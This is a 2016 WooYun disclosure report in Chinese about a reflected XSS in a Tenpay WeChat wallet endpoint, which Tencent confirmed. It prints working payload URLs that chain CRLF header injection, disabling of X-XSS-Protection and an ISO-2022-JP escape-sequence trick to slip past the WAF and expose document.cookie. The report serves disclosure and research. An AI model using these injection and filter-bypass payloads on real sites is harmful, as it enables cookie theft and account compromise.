当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0173904

漏洞标题:腾讯财付通反射型XSS一枚(附绕过详细分析)

相关厂商:腾讯

漏洞作者: zhchbin

提交时间:2016-01-31 10:43

修复时间:2016-03-14 15:10

公开时间:2016-03-14 15:10

漏洞类型:XSS 跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-31: 细节已通知厂商并且等待厂商处理中
2016-02-01: 厂商已经确认,细节仅向厂商公开
2016-02-11: 细节向核心白帽子及相关领域专家公开
2016-02-21: 细节向普通白帽子公开
2016-03-02: 细节向实习白帽子公开
2016-03-14: 细节向公众公开

简要描述:

绕了几天都没搞定,请教了@mramydnei,一会他就bypass WAF,感谢M神的无私指导啊!顺便还学到了新思路!
学习了相关资料后发现的:
1. http://blog.bentkowski.info/2014/07/google-doodle-xss-actually-response.html
2. http://drops.wooyun.org/papers/2466

详细说明:

这是一个在微信手机端用的一个接口,用于拉取零钱明细,接口如下,在微信客户端里请求时传入的参数都会被替换成相应正确的参数,因此在微信里没有什么用,但测试后发现在浏览器端还是可以的:

https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a


返回:

< HTTP/1.1 200 OK
< Server: nginx/1.6.0
< Date: Sat, 30 Jan 2016 12:08:28 GMT
< Content-Type: text/html; charset=gbk
< Content-Length: 0
< Connection: keep-alive
< Cache-Control: no-cache, must-revalidate
< Set-Cookie: pass_ticket=a; Domain=wx.tenpay.com; Path=/; Expires=Sun, 31-Jan-2016 12:08:28 GMT


可以发现pass_ticket参数在Set-Cookie中,且值就等于a,接下来我试着插入

https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a%0d%0a%0d%0a<img src=1>


发现返回为空,不过这种类型的漏洞很好利用的原因在于我们可以在返回的头部中HTTP头部信息,因此试着加入Content-Length,就可以发现返回的内容里出现了img标签!

https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a%0d%0aContent-Length:60%0d%0a%0d%0a%3Cimg%20src=1%3E


返回内容如下:

< HTTP/1.1 200 OK
< Server: nginx/1.6.0
< Date: Sat, 30 Jan 2016 12:15:03 GMT
< Content-Type: text/html; charset=gbk
< Content-Length: 60
< Connection: keep-alive
< Cache-Control: no-cache, must-revalidate
< Set-Cookie: pass_ticket=a
<
<img src=1>; Domain=wx.tenpay.com; Path=/; Expires=Sun, 31-J


接下来就是关键的一个步骤,插入js代码了!不过这里有WAF,我花了两天的时间都绕不过去,PM @mramydnei 之后得到了他的强力支援,提供思路及bypass的例子:

大概原理就是: 1.插入Content-Type更改response中的charset 2.选择一个字符集,保证该字符集中的某个字符或字符串 会被浏览器忽略(也可以是unicode transform) 3.将会被忽略的字符插入到被blacklist拦截的字符之间 4.done
https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a%0D%0AContent-Length:120%0D%0AContent-Type:text/html;%20charset=ISO-2022-JP%0D%0A%0D%0A%3Cimg%20src=x%20on%1B%28Jerror=al%1B%28Jert%28document.domain%29%3E


(看到他的回复的时候,我感动得留下了泪水,那是我逝去的青春,“让你不好好学习!”)
有bypass WAF的方式之后,之后一切问题都变得简单了,用X-XSS-Protection:0关闭浏览器的XSS过滤,想执行什么的代码发现被拦截了就用M神的方式bypass。

漏洞证明:

最终的Payload:

https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a%0D%0AContent-Length:120%0D%0AX-XSS-Protection:0%0D%0AContent-Type:text/html;%20charset=ISO-2022-JP%0D%0A%0D%0A%3Cimg%20src=x%20on%1B%28Jerror=%22al%1B%28Jert%28document.co%1B%28Jokie%29%22%3E


点击之后,弹Cookie

20160130202312.png

修复方案:

过滤CRLF

版权声明:转载请注明来源 zhchbin@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-02-01 15:52

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无